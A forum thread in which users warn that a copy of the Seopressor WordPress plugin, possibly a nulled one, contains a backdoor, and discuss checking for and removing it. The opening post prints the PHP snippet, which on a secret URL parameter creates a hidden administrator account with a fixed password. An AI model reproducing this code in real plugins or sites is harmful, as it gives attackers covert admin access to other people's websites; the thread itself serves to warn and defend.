Attention to Seopressor Pluging users - your site not secure

Normally i'm not using this plugin my friend ask me to check it, i found out this code

add_action('wp_head', 'my_wpfunc');
function my_wpfunc() {
	If ($_GET['cms'] == 'wordpress') {
		require('wp-includes/registration.php');
		If (!username_exists('wordpress')) {
			$user_id = wp_create_user('wordpress', 'wp_include');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
add_action('wp_head', 'my_wpfuncc');
function my_wpfuncc() {
	If (!username_exists('w

PHP:

Its creating user as "wordpress" who sending information to creator. But I'm not sure this is orginal copy or not. If you are using this pluging please check you user list. If you see "wordpress" user, delete user and pluging!

 

It is not clear what email is that user being created to.
You could search for the string 'pre_user_email' from your seoprocessor plugin files.

There should be add_filter('pre_user_email', <function>); somewhere.

And also please supply the exact location of the code, where you found the snippet from.

I assume that you are talking about this plugin?

http://www.seopressor.com/

 

so you mean it actually sends wordpress site info directly to the developer of this plugin?

 

I do not know that since I do not have that plugin.
If someone is willing to share the plugin with me, then I could analyze it and make sure, what this plugin exactly does.

This plugin could for example create user with username wordpress and send the login credentials to the plugin's author email.

With this kind of information plugins author could log in and make changes to your site.

But currently it is just speculation and real info can be disclosed when I would have the ability to study the source.

 

I deleted pluging sorry, but there was a code which send info to a gmail account. As i said, I'm not sure is it orginal copy or not. When we thing about %90 of webmasters using nulled versions, it should be problem.